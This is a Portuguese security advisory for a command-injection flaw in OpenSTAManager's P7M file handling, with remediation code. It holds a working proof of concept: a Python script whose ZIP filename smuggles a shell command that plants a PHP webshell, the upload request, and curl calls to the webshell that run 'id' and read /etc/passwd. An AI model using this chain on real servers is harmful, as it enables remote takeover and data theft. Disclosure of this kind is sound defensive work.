
CVE-2025-69212 - OpenSTAManager has an OS Command Injection in P7M File Processing
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2025-69212 |
| Gravidade | CRÍTICA |
| Aviso | Ver Aviso |
| Descoberto por | Lukasz Rybak |
Existe uma vulnerabilidade crítica de Injeção de Comandos do SO na funcionalidade de decodificação de arquivos P7M (XML assinado). Um atacante autenticado pode carregar um arquivo ZIP contendo um arquivo .p7m com um nome malicioso para executar comandos arbitrários do sistema no servidor.
Arquivo: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
O Problema:
$file é passado diretamente para exec() sem sanitizaçãoplugins/importFE_ZIP/actions.php:126 (quando a importação automática está ativada)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml do ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (construtor)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name da entrada do usuário!
.p7m, decodeP7M() é chamadaexec()⚠️ NOTA IMPORTANTE: O ZipArchive::extractTo() do PHP divide nomes de arquivos no caractere /. O payload NÃO deve conter / nos comandos. Use cd diretorio && comando em vez de caminhos absolutos.
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Resposta (erro 500 é esperado – a análise XML falha APÓS a execução do comando):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Verificação – Webshell Criado:
Webshell está acessível publicamente sem autenticação:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
ou
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Descoberto por: Łukasz Rybak
Este CVE foi divulgado de forma responsável seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e de defesa.